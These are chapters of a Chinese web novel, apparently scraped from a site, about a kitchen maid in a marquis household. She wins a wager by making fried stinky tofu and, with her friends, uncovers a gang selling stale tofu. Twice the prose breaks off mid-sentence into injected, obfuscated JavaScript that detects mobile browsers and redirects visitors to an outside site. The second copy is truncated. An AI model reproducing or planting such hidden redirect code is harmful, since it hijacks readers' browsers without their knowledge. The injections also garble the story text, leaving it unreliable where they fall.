吴妈妈和曹妈妈登时不敢再开口，一人幸灾乐祸，另一边焦急担忧，而大厨房里其余人也是心不在焉，纷纷偷偷往这边打量着。 “寒姐儿这回的麻烦大了。”秋月瞧着前头的景象，与挤在一块的素兰说悄悄话。 就许娘子那眼里见不得一粒砂砾的性儿，难保就让苏芷寒离开大厨房了。秋月想到这里，竟是隐约有些欢喜起来：“等她出了大厨房，可就没这般得意的日子咯。” “你嫉妒她做什么？”素兰撇了一眼秋月，“好歹因着她，咱们这些日子才得以上手做了回菜呢。” 她们进大厨房来，都是想要学手艺的，家里没少送吴妈妈银钱。 可吴妈妈收归收，东西却是霸得紧，根本不让她们碰上一碰，几年下来连点皮毛都没学到。 还是上回曹妈妈开了口教寒姐儿搭把手做事以后，吴妈妈怕人说闲话，也教她们两个上手试试。 虽说只是简简单单的小菜，但比起以前也好得多。素兰想到这里，反而担忧起来：“我觉得寒姐儿在，也挺好的，起码咱们都多了点机会。” “你这话说的……我，我就是说几句酸话嘛。”秋月脸红了，素兰这番话倒显得自己小家子气，其实上回吴妈妈让她做那事以后，她也背着吴妈妈，私底下给曹大丫道了歉。 只不过，瞧着刚刚进大厨房没多久的寒姐儿又能上厨，又得众人夸赞，还拿了赏，再看看几年都没混出头，回家还要被爹娘抱怨没出息的自己，心里总不是滋味。 秋月和素兰悄声说了两句，又恐被许娘子或是吴妈妈注意到，很快紧紧闭上嘴，竖着耳朵继续偷听。 那边，许娘子早已从几人话语和曹妈妈的反应中知道事情缘由，她本来就不太待见苏芷寒，如今更是不待见了。 见苏芷寒还梗着脖子，她冷着脸道：“寒姐儿，你确定你会做？” 不等苏芷寒回答，许娘子接着往下说道：“若是你做出来，我就许你拿三等厨娘的月钱，往后三等丫鬟的吃食便交给你做。” 吴妈妈先是一愣，而后瞪圆了眼，给三等仆役做吃食乃是她的活计。 可想着苏芷寒也做不出那玩意，吴妈妈又将嘴里的话吞回肚里，改口道：“许娘子，要是她做不出来呢？” “要是寒姐儿你做不出来……” “往后你也不必再到大厨房来了，重新回去洒扫罢。” 说是回去洒扫，可大厨房里谁不知道走了的杨柳便是拿了苏芷寒以前的活计。 苏芷寒又不是家生子，府里买来哪里能让她闲着。这换了两回的地儿都不能去，下回只能去更差的地方。 许娘子说罢，又看向苏芷寒：“你是会做，还是不会做？若是你现在说你不会，我便罚你一月的月钱，这事便到此结束。” “许娘子……” “许娘子——” 曹妈妈和吴妈妈一前一后，齐齐开口，只是话气截然相反。前者是庆幸，而后者却是遗憾。 吴妈妈原以为能借着许娘子的手将苏芷寒赶出去，见许娘子无动于衷，眼刀子不断往苏芷寒身上丢，只望这丫头能脑子糊涂，说一句—— “许娘子，那我就做给您尝尝罢。” 苏芷寒的话语一出，吴妈妈惊得眼珠子都快从眼眶里弹出来了，随后险些笑出声来。 “你这丫头，咋，咋……”曹妈妈则口中泛涩，只恨自己慢了一拍没能拉住苏芷寒。 这下好了，一切都晚了！ 曹妈妈心生后悔，没了说话的力气，她想着过得舒畅的这几日，想着与郎君琢磨的事儿，犹如个泄了气的皮球，登时没了精神气。 苏芷寒未管周遭人的反应，又补充道：“只是那豆腐不是日日有的，我与人去拿，约莫要三日才有。” 许娘子挑起眉梢，深深看了一眼苏芷寒。她原以为苏芷寒是个好脸面，不愿露怯的，这才硬咬着不肯承认错误。 可现在瞧着，她似有把握？ 许娘子看了一眼苏芷寒，开了口：“既然如此，我便给你三日时间，三日后你交不出东西，无论谁给你说情，我都要把你赶出去！” 原本听到三日，便打起上门讨饶的曹妈妈又低下了头，等许娘子离开后也没与苏芷寒说话。 等到晚间，她拉着曹大丫登门道歉，手里还提着两匹细布、两壶酒水和一只鸡。 “曹妈妈，您这是做什么？” “蒋娘子，一切的一切都是大丫的错，你千万别怪寒姐儿……”曹妈妈瞧见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572940|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋珍娘，瞬间红了眼眶。 她抽出汗巾子抹着泪，直把东西往蒋珍娘手里塞：“往后有要我帮忙的地方，您尽管说，我一定会帮忙的！” “曹妈妈？”蒋珍娘一脸懵，不由地回头去看苏芷寒。 苏芷寒晓得是今日大厨房里发生的事，又是好气又是好笑。她伸手扶起曹妈妈，笑道：“我之前不就说了，我没说谎的。” “真有那能吃的坏豆腐。” “就是那个坏，和吴妈妈理解的坏不太一样，得要几日准备才是。” 苏芷寒好说歹说，才让曹妈妈勉强相信她能拿出这物来。 而后两日，她准备‘坏豆腐’的同时也没忘记去小红家一趟。 这回见着苏芷寒的陈奶奶，态度愈发热情，欢欢喜喜地开了门，请苏芷寒到屋里坐。 她早就盼着苏芷寒来，早早使着孙女一道把屋子整理得干干净净。等苏芷寒坐下，她又泡了一盏茶送来：“这茶叶是咱们去乡里打听时，从乡亲手里买来的，说是山上摘的野茶。我不懂茶，但闻着味儿好闻，还请苏娘子瞧瞧。” 苏芷寒尝了口，反应淡淡。 当下茶叶市场都被朝廷垄断，想要买茶便得去官府旗下的茶店里购置，各种茶饼茶团数不胜数。 当然，最好的还得是上供于圣人的龙茶。 作为鼎盛豪门的忠勇侯府，凡是说得上名头的茶叶，库房里都能取出来。比如苏芷寒初次做茶糕，还用的是三十文一斤的下等散茶，后头被三姑娘点名做茶糕时，便用上了中等茶叶研磨的茶粉。 光是做茶糕的那些，一饼便是四十贯。 苏芷寒当时已是震惊，而灶房里妈妈们告诉她屋里主子们用的是上等茶叶，一胯便要百贯钱。 一胯，唯有火柴盒之量，算一算直接用来泡茶也仅仅能用几回。 “可是不好喝？” “茶叶本身其实不错，可惜处理的人手法有些糙了。” 苏芷寒瞧陈奶奶面色紧张，缓声解释道：“若是留着自家用，还是不错的，你若是想赚些小钱，与他们收来，在市面上大约能卖四五十文一斤。” 陈奶奶听苏芷寒可惜，正在懊恼不该听那乡里人的话，当好茶给苏娘子尝，等听到能卖四五十文一斤，先是一喜，而后愣了愣。 对于家里只用十七文一斤散茶的她来说，四五十文一斤的已是上好的茶叶，倒是忘了侯府那般的门第，哪会用这般的茶。 陈奶奶心里又是懊恼，又是欢喜，懊恼的是自己的马屁拍在马腿上，欢喜的是苏娘子真真不是骗人的，的确是侯府厨房里的人。 苏芷寒尝了口便放下茶盏，便让拘谨的小红上前，询问关于李大伯的事情来。 小红早藏了一肚子的话，急急说出口来：“虽然李大伯说是自己摔伤的，但我瞧着像是被人打的。” “后来奶奶与我去乡间集市上走了一圈，与人打听了一番，果然李大伯是被人打的！” “据说殴打李大伯之人，也是在城里卖豆腐的。他们瞧李大伯生意好，回回都能卖光，故意碰瓷然后打伤他的。” 小红说到这里，气愤得很：“苏娘子您猜猜那人是谁？” “……莫不是那骗人的老汉？” “没错！”小红重重点头，继续往下说道：“与此说是周老汉，不如说是那老汉的儿子才是罪魁祸首。” “他们家名声好差，当地人人都知道，说是做得不好，还缺斤少两，偏生有个兄弟在府衙里当捕头，此次都帮他们逃过去。” 25.酸橘子 “那边乡里人难得见到官吏，在他们眼里捕头都是天大的人物，又担心被他们家那些兄弟缠上，都不敢与他们家作对。” “据说李大伯原本也是在乡里卖豆腐的，被逼得没办法才到京城里卖豆腐。” “哪晓得……那帮人在集市上坑蒙拐骗的次数多了，这乡里人都晓得他们的手法，根本没人上当。” “这不，他们也来京城了。” “李大伯安生的日子都没过上两月，又再次碰上他们。” “另外，我和奶奶在市井上打听了一番，才晓得城里已有不少人上当受骗。可碍着银钱实在太少，至今也没人去官府里报官过。”小红说到这里，噘起嘴来：“要晓得我那日就该报官的……可我胆小，才被那帮人给吓着。” 见苏芷寒面露疑问，端着一盆子蜜橘回来的陈奶奶先把东西放在案上，而后才解释道：“苏娘子有所不知，咱们打听时发现被骗的多是小红这般岁数的女郎。” 那帮人就是欺软怕硬，连碰瓷的人选都是选过的，专挑小红和曹大丫这般年岁小又心地善良的，被吓一吓多半就会上当。 “您尝尝，这是咱们从乡里带回来的蜜橘，味道甜得很！”陈奶奶把蜜橘送到苏芷寒手里，再接着往下说道：“而且，他们怕是早就盯上小红了。” 苏芷寒听到这里，伸手接过蜜橘的同时也反应过来，那些人能注意到生意渐好的李大伯，自然也能注意到日常来取豆腐，与李大伯联系紧密的小红。 或者说小红是顺带的，原本被他们注意到的应该是她或者阿娘才对。 “这事还与我……” “哎哎哎，苏娘子，我不吃这个意思。”陈奶奶闻言，唯恐苏芷寒以为自己是在埋怨她，连连插话把另一个消息拿出来：“其实是打听消息的时候，咱们还发现另外一件事。” “另外的事？” “实际上——” 等陈奶奶说罢，苏芷寒剥蜜橘的动作也彻底停下。她面色微变，杏眼圆睁：“等等你们说，那老汉一伙的人曾想向你们推销坏掉的豆腐？” “没错！”小红连连点头，一想到她没报官反倒是被他们勒索了几十个铜子，小红便气得牙痒痒。 她鼓着脸颊，细细念叨：“我和奶奶原是想在旁看看，能不能寻到其余受害人，哪晓得我们看到里头有个‘熟人’。” 因着蒋氏卤豆干的生意很是不错，所以刚刚贩卖三四日，便有其他豆腐铺子寻上门求合作。 因着苏芷寒定下李大伯家，小红便一概回绝了，可没想到后头有人偷偷寻到家里，表示愿意以低价出售放了两三日的便宜豆腐。 “放了两三日，哪是什么便宜豆腐。”陈奶奶剥开蜜橘外皮，把橘肉送到孙女手里：“老身我听了，就晓得他们的意思。” 市井里有些贩卖熟肉的摊贩，便是这么做的。因着獐肉鹿肉价高，便有不良商贩购买死掉的骡马，用气味强烈的豆豉以及各色香料酱汁腌制，或是做成熏肉，或是制成酱肉卤肉，再出售牟利。 通常做熟肉的铺子去掉成本，利润能有五成便实属不错，但那等黑心肠的商户利润足有八成乃至更高。 “我偷偷跟着，发现他们还问城里几家铺子收购那些废弃的豆腐。” “那些铺子里的伙计与我说，他们是城外的农户，收去喂猪或是拿去当肥料的。” 陈奶奶撇撇嘴，完全不信那些伙计的话，讥笑道：“苏娘子我与您说，他们的话也就骗些不晓得事儿的人。” “我又不是没接触过乡下人，他们哪舍得拿这些去喂猪当肥料？这东西再便宜也没豆渣便宜，还不如去河里挖些泥肥，又或是弄点野草谷壳粪便沤肥……” “那帮子铺子伙计都钻进钱眼里了，能把不新鲜的豆腐卖出去，有钱赚就好，至于人拿去做啥，他们也不爱管，更不想管。” “他们买那么多不新鲜的豆腐做什么？”苏芷寒听到这里，免不得有了个猜测。她抬眸看向陈奶奶，试探着开口：“莫非——” “前些日开始，陆陆续续有几家豆干摊子放低了豆干价儿。” 陈奶奶的话让苏芷寒肯定了自己的猜测，要晓得新鲜豆腐一般能放一到三日，再往后便会产生异味，色泽外观逐渐发生变化。 而经过油炸，再经过卤制而成卤汁豆腐恰好能遮掩外观，同时卤料也能掩盖绝大部分异味，让人很难吃出问题。 最重要的是，用这等便宜豆腐可以大大降低了成本。 恐怕有些摊子受不了诱惑，选择使用了那等豆腐。 “亏得你们没有听那等人的话。”苏芷寒听完祖孙俩的话语，蹙起眉来。 她往嘴里塞了一块蜜橘，陈奶奶带回来的蜜橘便是乡野采摘的那种，酸多于甜。 苏芷寒被酸得脸蛋险些皱成一团，好不容易才控制住表情。 在陈奶奶和小红眼里，便是苏芷寒柳眉高扬，漆黑的眼瞳里没带着任何情绪，浑身上下散发的强烈气势着实教人不敢直视：“他们这等没信用的人，现在拿坏豆腐来怂恿人用，回头说不定便要拿人用坏豆腐做吃食的事威胁拿捏呢。” 陈奶奶先是一愣，而后倒抽了一口凉气，就如苏芷寒所说能肆无忌惮殴打李大伯，欺诈乡里乡外，横行霸道惯了的老汉一家，又哪里会满足于光光是倒卖坏豆腐的生意。 陈奶奶想到这里，脑海里升起一缕后怕，还有一缕怜悯，那帮子敢用坏豆腐的摊贩，恐怕还不晓得他们招惹上一帮毒蛇吧？ 与此同时，苏芷寒心下也颇为欢喜，她有意瞧瞧陈奶奶和小红的能力，没想到竟是给了她这么大一个惊喜。 一老一幼的组合正是最容易让人没了防备的类型，给两者打探消息提供了方便。 短短两日时间，她们便把整件事情的来龙去脉摸得一清二楚，甚至还摸到了些苏芷寒先前都没预想到的内情。 那老汉一家，不但打了为自家供货的李大伯，而且还朝着其余摊贩售卖贱价的坏豆腐，等于是在挖整个市场的根基。 低劣品质让售价下跌，极低的价格又会驱除良好的商家，留下劣质的商家，到最后食客也会受到牵连，要是此刻再曝光这款吃食用的原料，那这款吃食的路子也走到尽头了。 苏芷寒的确有别的赚钱招数，却也不愿被这些无耻之徒抢占市场。 更何况要是让那些人这回尝到甜头，会不会她换了别的生意，他们也这般伸出手来？ 苏芷寒心里有了主意，与陈奶奶和小红说了几句。她们两人越听，眼睛越睁越大，到最后更是完全控制不住表情，完全是目瞪口呆的模样。 半响，陈奶奶才结结巴巴道：“啊？这，这般……这，这真的可以吗？” “可以。” “等明日……不，后日开始吧。”苏芷寒笑了笑，站起身来，叮嘱两人按自己吩咐去办后往门口走去：“剩下的钱也不必给我，回头使人传流言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那日，她还听到王媳妇与郎君说要给王婆子寻个郎中瞧瞧。 “那你们院里咋一股滂臭滂臭的味儿？您别瞒我，是不是王婆子在您家院里捣乱，故意使坏呐？” 徐婆子不信，跺了跺脚：“您别怪老婆子我多管闲事，像是王婆子那等欺软怕硬的东西，您给她脸儿，她就敢爬到您头上去。” “我认识后头的粪公。” “回头我给您留一两桶在那，等到半夜泼在她家门口，瞧她还能横起来！” 这招数，也真真是够损的了。 苏芷寒险些笑出声来，又赶在徐婆子准备大包大揽前拒绝：“王婆子最近真没捣乱，至于那味儿是我在做东西。” 徐婆子听完苏芷寒的话，那是一脸的不信。 她早上上值时路过蒋家屋子，被那味儿熏得捏着鼻子跑路，不晓得多少人在说这味儿，像是鱼虾烂了七八日，又像是放了半个月乃至一月未洗的衣裤，散发着让人难以形容的酸腐气味。 徐婆子与下人院里人讨论，最后敲定嫌疑人——王婆子。 谁让蒋家人搬进侯府以后，蹦跶的最起劲的便是她，到最后被蒋珍娘抢了位儿的还是她，最重要的是王婆子有前科，她以往吵闹凶时，还往人身上泼过脏东西，做出这般的事儿也不足为奇。 虽然苏芷寒说不是，但徐婆子还是泛着嘀咕。她目送苏芷寒离开，一边剥开手里的蜜橘，一边眼珠子转了转，很快有了个主意。 她听人说过，王媳妇还不晓得王婆子被赶出三娘子院的事，众人八卦，纷纷等着看戏，而如今不如…… “哎呦……好酸！”徐婆子思绪戛然而止，捧着蜜橘龇牙咧嘴，酸到牙疼：“寒姐儿从哪里弄来这么酸的橘子？” “回头我得与寒姐儿说说，怎么才能挑到好橘子。” 26.油炸臭豆腐 那边，苏芷寒还不晓得自己拎着的那袋蜜橘，各个都是酸到掉牙的炸弹。 归家以后，她便去看放在泥炉旁边，里三层外三层裹着的那物。 正当苏芷寒抬手想要拆开，她又动作一顿，神色谨慎。 紧接着，她先把屋子的窗户打开，让北风钻进屋里来。 再来，她又把前两日用碎布和棉花做的口罩戴上。 做足充分的准备以后，苏芷寒终是一层层掀开干柴和破布，露出被裹在其中的陶罐。 最后，她手上用力拧开罐盖。 刹那间一股子难以言喻的酸臭翻涌而起，饶是苏芷寒全副武装，也是被激得眼前一黑，下意识把盖子盖了回去。 “……” 呼啸的北风冲入室内，席卷着屋里的热气和味道往外涌去。不多时远远便传来不知名的抱怨声：“哪来的味儿，这般难闻？” “又是蒋家屋子传来的味儿？” “这都第三天了！到底啥情况啊？” 下人院里怨声载道，无事的仆妇们捏着鼻子，立在院里，远远望着蒋家屋子议论不休。 打从前日晚间起，下人院里便有股说不上来的奇怪味道。 等到昨日白天，那股酸腐味越发厉害，起初还有人以为是有冻死的鸟雀野狗死在角落里，直把屋里屋外翻了个遍都没寻到，后来他们循着味儿才发现，出处竟是蒋家院子。 有人怀疑蒋家屋子临着外墙，许是外头气味传到里头来的，不过很快有人去外头查了一遍，也没发现异常。 有人怀疑蒋家母女好逸恶劳，屋子里弄得脏乱差，可很快便有人反驳，说是蒋珍娘最是喜干净，况且这几日都住在三娘子院的丫鬟房里，都没回家。 最后，仆妇们怀疑来怀疑去，认定是王婆子报复，或是把那污秽东西泼在人屋子上。 王婆子拖着疲惫的双腿，缓缓往下人院走。洗衣房工作的强度远比三娘子院里强不知多少倍，让多年没做过苦活的她累得够呛，每日回到屋里只想躺下睡觉，就连往日逗弄孙子的心情都没。 王婆子干了没几日，就打了退堂鼓。偏生自家王媳妇还巴望着进府里做事，她再苦再累也只好憋着口气，强打起精神。 王婆子低着头，慢吞吞地踏入下人院。她对周遭投来的视线早已是习以为常，顶多觉得今日的议论声格外多，格外密。 直到王婆子多走了几步，渐渐靠近自家才终觉得不对劲。她先是抽了抽鼻子，嗅了嗅周遭的气味，而后惊恐地捏着鼻子：“哪来的味儿？这般难闻？” 躲在屋里的苏芷寒闻声，心虚地蹲下身子，苦大仇深地瞅着面前的陶罐。 她上回只在曹妈妈等人跟前说说，却没打算做，便是这个缘由。虽说臭豆腐的味道尚能接受，但那卤水的味儿真真是让人头皮发麻。 苏芷寒甚至提前教蒋珍娘别回家，这几日就在三娘子院的丫鬟房里挤一挤。 可难闻归难闻，她也只有面无表情地继续工作。 苏芷寒一手掀开锅子，另一手拎起笊篱，果断迅速地捞起里面发酵的各种前食材，干脆利落的丢进垃圾桶，准备过会儿就把它们给彻底销毁。 再然后，她把过滤掉食材，色泽乳白，看似无害的液体搁在一旁，随即把提前准备的老豆腐切块搁在里头浸泡。 事实上这锅子卤水应当沤上五日到十日，方是最佳的味道。只是苏芷寒与许娘子约定的时间短，加上在下人院里制作这物着实教人不待见，她也只好改了改方子。 用适宜的温度让发酵速度变快，同时让豆腐多浸泡一些时间，让其色泽略略变化，恰好看似半坏不坏的模样。 待时间一到，苏芷寒便把豆腐尽数捞出。她将豆腐摆在粗布上，裹上几层盖布，这才小心翼翼地挪到竹篮里，准备一会儿就拎去大厨房。 至于那锅子卤水，苏芷寒看了又看，默默再次盖上锅盖，再把粗布和干草盖在上头。 做都做了，不用有点浪费捏，最重要的是为了做这些卤水，用了自己好些铜钱。 苏芷寒开着窗，烧着泥炉子，去味儿的同时也翻了翻陈奶奶给的吃食——山楂有点儿多，要做点什么？ 山核桃啊？瞧着品质还不错。 苏芷寒随手剥开个蜜橘，往嘴里一塞，后脑勺都酸得抽了抽。 她面无表情地吐出橘瓣，不信邪地又剥开一个，沉痛地发现自己在小红家里吃到的竟然不是意外。 恁酸的橘子，怎么吃啊！ 等会？苏芷寒想了想，她刚刚还塞给徐婆子好几个呢。 苏芷寒把橘子堆到一边，准备迟些再想做什么用。 紧接着，她把一袋子的山楂挪到跟前，先用清水淘洗一遍，再拿着小刀把山楂核尽数去掉。 起初她的动作还有些生疏，而随着去核的次数增多，苏芷寒的动作也变得越发灵活迅速。 不多时，她跟前便多了一堆去核的山楂。苏芷寒把它们又清洗一遍，瞅了瞅时间打算等晚上下值再回来捣鼓。 恰好，屋里的味儿也散得差不多了。苏芷寒拎起装着臭豆腐的竹篮，低调地出门，偷感十足地穿梭过下人院，步入侯府。 直到来到大厨房外，她才长舒一口气。苏芷寒挺直背脊，抬步走入其中，脚刚落在里头，便有数道视线齐刷刷投向了她。 或者说，在大厨房的所有人都看向了她。其中吴妈妈更是目光灼灼，三日来她总担心苏芷寒会不会花钱讨好许娘子，想要逃出这场必定的输局。 直到今日，她终于放宽了心。面对苏芷寒即将被赶出大厨房的局面，吴妈妈也有了说笑的心思：“寒姐儿来了？我还以为，你今日不过来了呢。” “为什么不过来？”苏芷寒奇道。她把手里的竹篮搁在案上，一层层掀开盖在上头的粗布，小心翼翼地把豆腐取出。 “为什么？”吴妈妈看着苏芷寒不疾不徐的动作，沉稳自若的态度，心中不免生疑，莫非寒姐儿真能拿出那独特的坏豆腐来，还是已经向许娘子讨饶，要不然怎会这般有底气。 她狐疑地打量着苏芷寒，很快目光落在苏芷寒拿出的豆腐上。 那一缕缕的异味让吴妈妈蹙起眉心，下意识往后退了半步。 那豆腐都坏成这样了！ 吴妈妈瞧着看上去格外黏腻，散发 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许娘子按下怒意，沉声道：“寒姐儿，这便是你说的能做来吃的坏豆腐？” “是。” “很好。”许娘子定定地瞅着她，缓缓说道：“那我也有一句丑话说在前头。” “待会你做好之后，便先自己尝一尝。若是拉了肚子，生了重病，我也不会饶过你，教你再呆在大厨房里。” “反倒是会把你的行径禀告于管事妈妈，往后你去哪里都由管事妈妈处理。” “你若是抱着这般心思，还是早些消了，带着你的豆腐立刻走人。” 许娘子放下狠话，见苏芷寒无甚反应，也懒得再提醒，只示意她赶紧开始做。 苏芷寒应了声，便选了灶台生火。曹大丫原本跟着曹妈妈躲在后头，瞧着这景象多少不是滋味，硬着挣脱了曹妈妈的手走上前去：“寒姐儿，我帮你烧火吧。” 苏芷寒笑道：“好。” 热锅下油，待油烧热以后她贴着锅边把豆腐片放入其中。 热油与豆腐相遇的那一瞬间，锅内滋啦声此起彼伏，金灿灿的油泡簇拥着豆腐轰然而起。 与此同时，原本让人难以形容的古怪气味却是渐渐发生改变，化作一股说不上来的奇妙香味。 离得最近的曹大丫咽了下口水，盯着油锅的眼睛都睁得溜圆。她越凑越近，最后还是苏芷寒揪住她的衣裳，教曹大丫醒过神来，老老实实退后几步。 “……这味儿，忒怪。” “刚刚还难闻得很，现在居然有点香……咕咚。” 大厨房里的人，即便并非厨娘，也多少会些厨艺。他们闻着逐渐霸道，又臭又香的怪异味道，视线尽数被那翻腾不休的油锅所虏获。 “真真是……” “怎么能有这般的味儿？” “不会真的……好吃吧？” “那吴妈妈的活……” 细碎的议论声围绕在吴妈妈的耳边，她呆若木鸡，死死盯着油锅不放，宛若一盆凉水从天而降，将她浇 27.新上任 趁着油炸臭豆腐的间隙，苏芷寒还去调了两种酱汁。一种是甜口的，还有种则是辣味的——时下虽没有辣椒，但辛味的香料也有数种，足有调制出相仿的口味。 苏芷寒把两碗酱汁放在一边，而后手持笊篱将油锅里炸至外皮金黄酥脆，内里蓬松鼓起的豆腐捞出来，沥干多余的热油，而后倒入盘里。 此刻，大厨房里的臭味早已消失殆尽，只留下油炸带来的馥郁香味。 苏芷寒并未摆盘，直接端在手里呈送到许娘子面前，随后笑道：“许娘子，我做好了。” 话音落地，良久许娘子也一言不发，只盯着外表金黄酥脆，嗅着香味浓郁的豆腐。 苏芷寒像是反应过来，又将瓷盘搁在案上。她取来一双木筷，夹起一块臭豆腐，蘸了点甜酱便往嘴里送去。 大厨房的所有人，下意识屏住呼吸，怔怔看着苏芷寒的动作。 苏芷寒张开嘴，雪白的牙齿轻轻落在炸豆腐上。 伴随着清脆悦耳的咔嚓声，炸豆腐酥脆的外皮被撕扯开来，露出空洞的内里，一股难以言喻的奇妙香味从中飘逸而出，一缕缕四散而开。 刹那间，大厨房里响起吞咽口水的声音。 与此同时，苏芷寒也在细细品味臭豆腐。因着卤水是加速发酵而成，而后又调整浸泡时间，所以她一开始还很担心臭豆腐的味道会有所区别。 不过显然苏芷寒的担心是多余的。她眯着眼睛，享受着油香和豆香带来的绝妙滋味，并顺手又夹起第二块放入口中。 见她吃得如此开怀，曹大丫忍不住了。她吞了吞口水，红着脸儿询问苏芷寒：“寒姐儿，我能不能尝一块？” “嗯，可以啊。” “那我试试。”得到允许的曹大丫忙捡起一双筷子，迫不及待地夹起一块炸臭豆腐送入嘴里。 只需牙齿微微用力，酥脆的外皮便在齿间四分五裂，牙齿和舌尖立马就能接触到软嫩的内里，感受热气与香气的双重轰炸。 炸得空洞的豆腐块口感独特，既有酥脆，又有软嫩。同时每一次咀嚼，那股子说不尽道不明的香臭味道便在口腔里四溢而开。 这味道，太过奇妙，太过特别，也太让人意犹未尽了！ 旁人殷切看着苏芷寒和曹大丫的反应，要说前者时不时还皱一皱眉，嘴里嘀咕两句，那后者已是完全被眼前的炸豆腐所俘虏，一块接着一块往嘴里送，浑然不觉这是坏豆腐。 “……好像，真的很好吃。” “这曹大丫，恁的能吃。” “咱们……上去尝尝？” “我瞧着再去试试看，人都要吃光了！” 随着曹大丫大快朵颐，大厨房里的其余人也渐渐躁动起来。观察许久的许娘子沉吟片刻，望着那闻所未闻的吃食许久以后，选择抬步上前。 “许娘子，吃不得啊！”站在旁边的吴妈妈见状，赶紧开口劝阻。 即便曹大丫吃得津津有味，即便灶房里充盈着教人难以形容的独特香味，也完全无法打消吴妈妈的疑问。 那日她做的坏豆腐，放入嘴里那瞬间的味儿直教她头皮发麻，现在想来都是止不住的恶寒。 吴妈妈撇了一眼那盘子油炸豆腐，即便寒姐儿和曹大丫吃得如此欢快，她也不相信那物能吃！ 她再次劝阻道：“许娘子，要我说其中定然有猫腻……您万万吃不得啊。” “啰嗦。” “许娘子！？”吴妈妈看着丢下两个字，越过自己走到案边，捡起筷子品尝的许娘子，整个人都僵在原地。 强烈的不安感袭上心头，教吴妈妈心慌意乱。她不甘就此罢休，跟在许娘子身后疾步上前，也捡起筷子要来试上一试。 眼看许娘子和吴妈妈纷纷上前尝试，死寂的大厨房登时活跃起来。包括章妈妈在内的诸人纷纷上前，跟在两者身后也品尝起来。 一时间，喀嚓声不绝于耳。 许娘子只浅浅地咬了一口，又手持木筷将油炸臭豆腐挪到眼前细细打量，满眼皆是震惊。 这般奇妙的吃食，她竟是头回见着！她忍不住回想刚刚见着的豆腐模样，很难想象那般带着古怪浆液，气味更是难以言喻的豆腐，经过油炸以后便会变成这味道奇妙的吃食。 许娘子心思百转千回，抬眸看了一眼苏芷寒，又垂下眼继续咬了一口油炸臭豆腐。 大厨房里的气氛分外奇妙，没人开口说话，唯有咔嚓咔嚓的咀嚼声此起彼伏。 曹大丫吃了一块接一块，待她吃完嘴里的，再次伸出筷子去夹的时候，她手里的筷子与另一双筷子触碰上，发出轻微的咣当声。 “哎？”曹大丫抬起头来，对上另一双筷子的主人。她怔了怔，下意识喃喃道：“吴、妈、妈……额。” 等话说出口，曹大丫才觉得不对劲。她不安地瞥了眼吴妈妈，心里发虚，默默把筷子往回收。 不过很快，曹大丫便发现吴妈妈失魂落魄的，压根没有注意她的小动作。 曹大丫先是松了口气，紧接着她慢慢回过神来。 等等？ 寒姐儿这是做出了坏豆腐的做法？这也就是说…… 曹大丫想起那日许娘子说的话，忍不住再次咽了咽口水。她刷地转身看向苏芷寒，又惊又喜：“寒姐儿，你做出来了，你没骗人！” 话音落地，厨房里其余的人也回过神来，无数道异样的目光在苏芷寒和吴妈妈身上左右摇摆，最终落在许娘子身上。 许娘子从袖里取出帕子，抹了抹嘴。她目光平静地扫向苏芷寒，说道：“这是你家里的方子？” “是。”苏芷寒回答干脆，或是担心许娘子也偷偷尝试，而后她又补充道：“虽说是坏豆腐，但并非直接闷坏，还需看豆腐的形状，用些卤水才是……” 其实苏芷寒这回用的方子，乃是由后世长沙臭豆腐的方子改良而成。她去掉了黑卤水的部分，仅仅使用由豆浆、青虾、香菇与各种香料发酵而成的卤水，做出色泽乳白淡清，形似坏豆腐的臭豆腐。 硬要说单纯经过发酵而成的臭豆腐，应当是毛豆腐。不过初次自然发酵而成的毛豆腐通常需要适宜的温度，而后花费五到七天的时间才能生长而出。 最重要的是，在没有菌种的情况下还不一定能长成好菌，碰上有毒有害的菌那真真是害人害己了。 许娘子听出苏芷寒话里的担忧，对苏芷寒略改观了些。 正当她吩咐大厨房众人莫要轻易学吴妈妈那般随意用别人的方子试做时，吴妈妈也醒过神来，一张脸忽青忽白，忽红忽紫：“你，你，你是故意的。” “什么故意的。”曹妈妈瞧着局势扭转，早已喜不胜喜。她双手叉腰，怒视吴妈妈：“人寒姐儿让你偷学了吗？” 紧接着曹妈妈看向许娘子：“许娘子，那往后寒姐儿是不是拿三等的月钱了？” 吴妈妈脸色比刚刚更难看了。 许娘子点了点头，既然苏芷寒能说到做到，她自也不会拦着。她转身看向苏芷寒，说道：“我会将你的名字报上去，从明日起你便拿三等的月钱，三等仆妇丫鬟的吃食便交由你负责。” 苏芷寒喜道：“是。” 吴妈妈如遭雷击，口中生涩，她拦着转身要走的许娘子：“那许娘子，往后我，我，我做什么？” 莫不是要赶自己走？ 吴妈妈光是想想，便觉得老脸通红，冷汗直冒，又是惶恐又是难受。 要晓得得势的妈妈，和不得势，乃至赋闲在家的妈妈，在府里的地位那是截然不同。 得势的妈妈在主子跟前有脸，且不说逢年过节得的赏赐也多，就连儿女也都有好前程，而底下的婢子仆妇，也多要讨好卖乖。 吴妈妈算不上前者，但也略有薄面，借着自己的活计与三位娘子院里的丫头仆妇都保持着良好的关系，之前便是这般把女儿送进院里做事的。 另外，府里人为请自己做菜做饭，要给好些银钱，说上好些奉承话。 可要是赋闲在家，那真真就是府里的底层。原帮人做菜做饭还能捞上一笔，那往后她是巴巴上门给人做，说不定还得自己倒贴。 更不用说府里过年过节的赏赐，那更是与她没了关系，没几年功夫主子也就彻底忘了你这个人。 往日吴妈妈也没少见着原是有头有脸的妈妈，回家以后没几年就得求着原本低自己一头两头的仆妇帮忙。 许娘子像是忘了吴妈妈，经过提醒才想起这事。 她想了想，倒是犯了难，大厨房里各个位置都有定数，而吴妈妈手艺虽比曹妈妈好，但在大厨房里也是下下，否则也不会是个给三等丫鬟仆妇做吃食的掌勺厨娘。 